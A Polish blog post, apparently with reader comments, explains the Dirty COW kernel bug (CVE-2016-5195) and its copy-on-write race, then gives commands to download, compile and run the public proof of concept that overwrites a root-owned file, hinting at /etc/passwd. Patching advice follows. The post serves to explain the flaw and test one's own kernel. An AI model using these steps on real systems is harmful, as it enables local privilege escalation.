Ta krowa jest nadal brudna, czyli Dirty Cow po latach

Finlandia, 11 lat temu. Szara emanacja dżdżystego poranka szczelnie opatuliła zagubioną na pustkowiach chatkę. Jej wnętrza przed rozpełzającą się mgłą broni nikłe światło lampki biurowej i poświata bijąca od monitora. Postać pochylona nad klawiaturą komputera zmełła w ustach przekleństwo. „A to zafajdane bydle… Dobra, to się poprawi później” stwierdził Linus Torvalds, gdy zaproponowane przez niego zmiany likwidujące skutki błędu CVE-2016-5195 były zbyt niestabilne dla platformy s390. Nie zdążył. Brudna krowa wyrwała się swemu prześladowcy i oddaliła się w nieznanym kierunku pod osłoną mgły.

A kuku
A kuku
Historia brudnej krowy dobitnie pokazuje, że jeżeli mamy coś zrobić, to lepiej zrobić to od razu. Niepozorny błąd CVE-2016-5195 który powrócił po latach, zatrząsł w posadach światem Linuksa a innych przysporzył o palpitacje serca – gdyż ich urządzenia z wbudowanym Linuksem zapewne nigdy nie doczekają się poprawki.

Geneza

Jak mówi sam Linus, zmagał się z tym błędem już 11 lat temu. Jednak z powodu problemów jakie generowały jego poprawki na s390, zmiany cofnięto.

This is an ancient bug that was actually attempted to be fixed once (badly) by me eleven years ago in commit 4ceb5db9757a (“Fix get_user_pages() race for write access”) but that was then undone due to problems on s390 by commit f33ea7f404e5 (“fix get_user_pages bug”).
(…)

W ten sposób nieciekawie napisany mechanizm Copy-on-Write który został zaimplementowany w 2007 roku w kernelu 2.6.22 pozostał z nami po dzisiejsze czasy.

Zasada działania

Jak już wspomniałem, wszystkiemu jest winne Copy-on-Write (COW), czyli kopiowanie przy zapisie. Sposób działania tego mechanizmu został potraktowany nieco „na skróty”, dzięki czemu gwoździem do jego optymalizacji okazało się zwracanie wskaźnika do danych a nie ich fizyczne kopiowanie. Taka sytuacja miała miejsce, gdy nie było pewności, że dane będą modyfikowane. Po nitce do kłębka okazało się, że stosowne wykorzystanie funkcji madvise(), alokowanie pamięci dla danych niedostępnych dla użytkownika i manipulacje w /proc/self/mem doprowadzają do sytuacji, że kernel umożliwia zapis w pliku niedostępnym dla użytkownika.

Praktyka? Proszę bardzo – przy okazji będzie możliwość przetestowania własnego kernela:

Pobieramy krótki „proof of concept”:

wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c

Jako root tworzymy jakiś plik tekstowy:

sudo sh -c "echo Oto nasza zawartosc pliku > foo"

Kompilujemy pobrane dirtyc0w.c:

gcc -lpthread dirtyc0w.c -o dirtyc0w

… lub:

gcc -pthread dirtyc0w.c -o dirtyc0w

Wykonujemy „atak” posiadany przez root plik foo:

$ ./dirtyc0w foo muuuuu
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
muuuuu

Jak widzimy, zawartość pliku zmieniła się. Wyobraźmy sobie teraz takie sztuczki z /etc/passwd.

Jak się bronić

Wobec zbiorowej paniki warto uściślić jedną rzecz – to nie jest atak zdalny. Przeprowadzić go możemy jedynie mając nawiązane połączenie z systemem i mając uruchomioną powłokę (choćby web_shell). W pierwszej kolejności należy oczywiście załatać serwery.

Wszystkie dystrybucje wydały już stosowne łatki dla kerneli. Należy po prostu przeprowadzić aktualizację systemu. W przypadku Ubuntu wykonujemy:

sudo apt-get update && sudo apt-get upgrade && sudo apt-get dist-upgrade

Konieczny będzie reboot.

20 komentarzy

  1. Ok. to jest możliwe lokalnie a czy przez jakieś ciasteczko czy inne cóś w firefoksie ?
    Albo jakiś skrypt z poczty ?
    Pozdrawiam

  2. Cóż… dla mnie jest co innego ciekawe. Błąd znany od lat. Łatki znane od lat, ale nie sprawdzające się na s390. Mimo tego, przygotowując linuksa dla urządzeń wbudowanych (tam nie ma s390), firmy oferujące te urządzenia, łatek nie nałożyły.

  3. Sądzisz, że ktoś pracujący tam nad przygotowaniem OS dostał 2 miliony, 300-osobowy zespół i 2 lata na łatanie błędów sprzed 10 lat, o których praktycznie nikt nie pamięta i trzeba by się przegrzebywać przez archaiczne fora? Linus zjebał i tyle.

  4. Sorry – nie otrzymałem 2 milionów, nie mam 300 osobowego zespołu, ani 2 lat. Jeśli jest dostępna poprawka błędu, zwłaszcza błędu bezpieczeństwa, którą mogę zastosować nie czekam aż zrobi to opiekun paczki. Łatam sam.
    Jeśli ktoś się bierze za swoją robotę, to niech to robi prawidłowo. Zwłaszcza, jeśli chce oferować swój produkt innym.
    Nic nie stało na przeszkodzie w nałożeniu łatki Linusa dla ARM, czy x86.
    Błędy w kernelu są skatalogowane i dość łatwo się w nich rozeznać. Nawet dla mnie, choć z informatyką nie mam absolutnie nic wspólnego.

  5. No i wysiłki producentów mające zapobiec rootowaniu Androida spełzły na niczym… 😀 https://github.com/timwr/CVE-2016-5195
    Nareszcie mam możliwość zrootowania telefonu jakąś open-source’ową metodą (wszystkie dotychczas dostępne miały zamknięty kod i kto wie czy nie instalowały przy okazji czegoś “ciekawego”, więc się za to nie brałem). Przetestuję jak będę miał czas.

  6. ‘Nawet dla mnie, choć z informatyką nie mam absolutnie nic wspólnego’

    Czytując Twoje wpisy i czasem bloga nieodparcie odnoszę wrażenie, że ornitologiem to ty raczej też nie jesteś, więc bez fałszywej skromności proszę 🙂

  7. Aspa…. ja jestem… prawnikiem 🙂 Informatyki nawet w szkole nie miałem, bo wówczas królowały ZX Spectrum, Commodore C64 itp. Jak ktoś miał, to boże… 😀

  8. A co to ma do rzeczy? Jeśli uważasz, że ‘mienie związków’ z czymkolwiek wynika li tylko z papierów, certyfikatów i zezwoleń – to tak, masz rację. Tyle, że w takiej sytuacji ja – w kolejności zdobywanych dyplomów – socjolog, politolog i ‘teoretyk’ sztuki – nie mam nic wspólnego z dziennikarstwem (ktorym parałem się z sukcesami kilkanaście lat) i reżyserią czy operatorką (a mam kilka filmów na koncie), że o fotografii nie wspomnę (całkiem sporo publikacji i wystaw).
    Oceniajac Cię po ‘publikacjach’ – wiesz sporo o wielu aspektach IT, więcej niż ja. Masz nie tylko wiedze teoretyczną, ale też ‘praktykujesz’. Zatem – proszę, bez fałszywej skromności…

    PS. Najgorsi dziennikarze, z którymi dane mi było współpracować – mieli dyplomy z dziennikarstwa…

  9. No można altruistycznie przeglądać katalogi, łatać błędy i się z tym bawić, albo zrobić to na co dostało się kasę i zapomnieć o temacie. Osobiście wybrałbym to drugie, ale może to tylko ja. 😉

  10. Mówimy tu raczej o osobach przygotowujących jądro pod konkretne urządzenie, praktycznie wszyscy usłyszeli coś w stylu “ogarnij stery do sprzętu i ma działać” a nie “przy okazji poszukaj błędów sprzed 10 lat i wgraj patche”. W takim wypadku šlęczenie nad tym już nie jest takie dalekie od altruizmu.

  11. Nie, nie mówimy o “osobach” i nie wiem, co one usłyszały. Mówię o dużej, bogatej korporacji, która zdecydowała się wejść na kolejny rynek, by powiększać swoje zyski (i słusznie). Wydając swoje systemy do dzisiaj nie pokusiła się o dodanie do kodu jądra przygotowanej łatki zwiększającej bezpieczeństwo, choć dodawała inne.
    Altruizm nie ma tu nic do rzeczy. Ja to rozpatruję wyłącznie w kategoriach: dobrze/źle wykonana robota (wydawcy, nie konkretnego człowieka). Tym razem – źle.
    Z drugiej strony chciałbym Ci zwrócić uwagę na jedno – gdyby nie owi “altruiści” – dzisiaj nie miałbyś takiego systemu, który używasz. Ba, i niezaleźnie od tego jaki to system jest 🙂

  12. A jak mówimy o korporacji to zupełnie inna sprawa, tu w ogóle nie ma co dyskutować. Produkt nie ma być dobry, tylko przynieść zyski. Rzadko ktoś interesuje się jądrem w swoim androidowym tableciku i najwyraźniej lepiej wychodzi gdy pominie się ten ułamek procenta niż wyda się kasę na zadowolenie ich.

    A co do altryistycznego zbawcy narodów – Linusa, nie porównywałbym go do kogoś szlifującego coś za darmo dla swojego pracodawcy, ba, gdyby tracił tak czas pewnie nie miałby go na napisanie Linuksa. 😉

  13. Nie wspomniałem o Linusie. Korzystasz z określonego systemu – wszystko tam masz stworzone przez opłaconych programistów, czy opiekunów? Ja nie – korzystam z Archa, gdzie tych kilkunastu opiekunów paczek zapiernicza dzień w dzień, by Arch Linux był taki, jakim jest. Ba, część z nich udziela się poradami na forach, tworzy wiki.
    Korzystasz z różnego rodzaju serwisów (choćby jak ten), forów? Na naszym forum nikt nam za to nie płaci, ponosimy (w zasadzie, to na razie Bartek) koszt jego utrzymania (tak, to kosztuje). Z durnowatego mojego bloga – jak widać po statystyce – też ludzie korzystają.
    Może zatem lepiej, by tego nie było. Niech każdy patrzy na kasę. Ma podejście konsumenta: mi się należy i tyle. A wszyscy my, którzy identyfikują się ze społecznością i po prostu chcą w tym uczestniczyć, zrobią prostą rzecz: chcesz porady? – proszę bardzo: płać.
    Każdy z nas ma inne podejście, inny punkt widzenia. Natomiast czy na pewno w świecie OS należy żyć wg zasady jak mi nie zapłacą, to palcem nie ruszę? Jeśli tak – mówisz – masz. Zamknąć to co od nas zależy, możemy w ciągu przysłowiowych 5 minut (ba, nawet zaoszczędzi się tych kilka stówek rocznie) pozostawiając tam zapis: cennik usług… I palcem nie ruszę, na tupanie nóżką przez kogokolwiek, bo on bardzo musi mieć. Cokolwiek.

  14. Jedna wspólna cecha znacznej większości wszystkiego co wymieniłeś – twory powstające jako oddolna inicjatywa, nie korporacyjny zlepek kodu. W pracy robi się to co każą, przełożony ma być zadowolony a kieszenie pełne, wtedy można się realizować mając czas po godzinach i dzieląc się efektami z innymi.

    I osobiście bardzo lubię takie inicjatywy, zdarza się sypnąć kasą tu czy tam a na forach programistycznych (rzadziej linuksowych) udzielam się zawsze kiedy mogę pomóc a OP nie razi nieznajomością regulaminu. 😉

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *

Post comment

Witryna wykorzystuje Akismet, aby ograniczyć spam. Dowiedz się więcej jak przetwarzane są dane komentarzy.